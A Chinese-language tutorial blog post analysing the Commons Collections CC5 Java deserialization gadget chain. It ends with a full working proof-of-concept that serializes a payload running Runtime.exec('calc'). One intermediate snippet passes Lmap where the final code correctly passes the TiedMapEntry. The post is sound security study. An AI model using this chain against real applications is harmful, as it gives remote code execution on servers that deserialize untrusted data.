java安全-CC5链学习与分析
2022-12-09 18:16:00

0x00、前言

重点上还是CC1、2两个链,后面都是变种或者加了一些新入口,依旧单独列出来方便整理,写一起太乱了。

0x01、Apache Commons Collections描述

引用CC1链分析中的描述
CC链即Commons Collections利用链,主要针对Commons Collections组件发现的利用链。

Apache Commons是Apache软件基金会的项目。Commons的目的是提供可重用的、开源的Java代码。
Apache Commons提供了很多工具类库,他们几乎不依赖其他第三方的类库,接口稳定,集成简单,可以大大提高编码效率和代码质量。
Apache Commons Collections 是对 java.util.Collection 的扩展。
Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

目前 Collections 包有两个 commons-collections 和commons-collections4,commons-collections 最新版本是3.2.2,3系列版本也是只有3.2.2是安全的,不支持泛型,目前官方已不在维护。collections4 目前最新版本是4.4,其中4.0是存在漏洞,最低要求 Java8 以上。相对于 collections 来说完全支持 Java8 的特性并且支持泛型,该版本无法兼容旧有版本,于是为了避免冲突改名为 collections4。推荐直接使用该版本。(注:两个版本可以共存,使用时需要注意)

0x02、环境准备

java版本:jdk8u66(版本无限制)
Commons Collections:3.2.1(漏洞版本在3.1-3.2.1)
maven项目pom.xml文件中添加依赖

<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

在idea访问Commons Collections组件的文件时候点击上方的下载源代码就可以看到对应文件的.java文件了

0x03、分析

回顾

CC5链基于CC1-LazyMap链进行的变式延伸,回顾CC1-LazyMap链:
CC1(LazyMap链):

  • 生成LazyMap对象,将InvokerTransformer利用方法串起来的ChainedTransformer对象传入LazyMap构造方法,随后将LazyMap对象传入AnnotationInvocationHandler代理类。
  • 通过动态代理,在生成二次代理对象时调用对象的invoke方法,其中invoke方法中调用LazyMap.get()方法、get()方法调用ChainedTransformer.transform()方法最后实现InvokerTransformer.transform()执行命令;

分析

CC5在基于CC1-LazyMap链上引入了TiedMapEntry类和BadAttributeValueExpException类,其中TiedMapEntry类为commons.collections组件类,BadAttributeValueExpException类为jdk内置类。

import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;

LazyMap

回到LazyMap链的调用,在get方法中,判断map对象中的Key是否存在传入的key,不存在就新建一个value值去put入map对象中,其中便调用了factory.transform(key)

其中factory为构造方法传入赋值的,因此构造参数传入ChainedTransformer类对象,变可执行ChainedTransformer.transform(key)方法执行代码

由于构造方法是保护限制,但存在decorate方法去返回实例化LazyMap对象并调用构造方法

利用点知道了,LazyMap链就是通过动态代理最后去调用到get方法。

TiedMapEntry

接下来就是找还有哪些类可以作为利用链调用的,就延伸出来TiedMapEntry

其中map对象是由构造方法传入的Map类型的对象

接下来就找在哪调用了getValue()方法

其中在本类有3个方法进行了调用
equals()hashCode()toString()

还需要一个序列化入口去调用其中的方法。

BadAttributeValueExpException

这时延伸出BadAttributeValueExpException类,BadAttributeValueExpException类为Exception类的子类,实现了序列化,并重写了readObject反序列化方法

相关注释:

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
//读取序列化字段
ObjectInputStream.GetField gf = ois.readFields();
//获取序列化val字段的值
Object valObj = gf.get("val", null);
//判断该值是否为null
if (valObj == null) {
val = null;
//不为null的话再判断该值是否是String类型
} else if (valObj instanceof String) {
val= valObj;
//不为空且不为String类型的话,再判断当前系统安全管理器是否存在,默认不存在返回null,或者判断值是否为其他类型中一种
//代码意思为如果val的值不是String类型的话就给他.toString()转化为字符串类型
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
//执行toString()
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

因此为了执行TiedMapEntry.toString()方法,需要传入val字段值为TiedMapEntry对象,因为当前系统安全管理器默认不存在返回null,因此会执行valObj.toString()达到代码执行的目的

接下来只需要向val字段传入TiedMapEntry对象作为值即可,这里有BadAttributeValueExpException构造方法对val进行赋值

这里判断val是否为null,如果不为null,则直接执行val.toString()

由于该构造方法直接调用时,便会执行val.toString(),因此在编写poc生成序列化的时候,便会在本地触发val.toString()造成代码执行。

同时在反序列化时发现并不会触发漏洞,断点查看val值已经变成进程对象

因为在序列化过程前,代码执行到BadAttributeValueExpException调用构造方法触发代码后,val的值已经被运行完后赋值,返回getKey() + "=" + getValue()即上图中的值,此时的val值不再是TiedMapEntry对象,因此无法反序列化触发漏洞

可通过反射对val值进行赋值成TiedMapEntry对象,可规避这个问题,至此,利用链完成。

构造POC

首先CC1-LazyMap链的前半段没有变化(也就是ChainedTransformer触发点),可直接使用

Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法,并执行该方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);

接着创建Map对象,通过调用decorate方法实例化LazyMap对象

//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,transformerChain);

然后TiedMapEntry对象,为了通过toString()调用getValue()方法中的map.get()

//传入LazyMap对象,key随便设置例如下11
TiedMapEntry TM=new TiedMapEntry(Lmap,11);

最后通过BadAttributeValueExpException类调用TiedMapEntry.toString()方法,并通过反射设置val值为TiedMapEntry对象

BadAttributeValueExpException BV=new BadAttributeValueExpException(111);
Field field=BV.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(BV,Lmap);

最后序列化,反序列化触发代码执行。

完整POC:

public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法,并执行该方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,transformerChain);
TiedMapEntry TM=new TiedMapEntry(Lmap,11);
BadAttributeValueExpException BV=new BadAttributeValueExpException(111);
//通过反射设置val值为TiedMapEntry对象
Field field=BV.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(BV,TM);

//最后生成序列化文件,反序列化实现命令执行
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc5payload.ser"));
outputStream.writeObject(BV);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc5payload.ser"));
inputStream.readObject();
inputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}

实现demo:

0x04、总结

CC5在CC1-LazyMap链后半段通过BadAttributeValueExpException类调用TiedMapEntry.toString()方法达到执行效果,相对调用比较简单,但反向思维通过LazyMap跳到TiedMapEntry类去调用确实很难逆向去想到,调用类实在太多了,只有通过查看POC进行正向分析。

0x05、参考链接

https://paper.seebug.org/1242/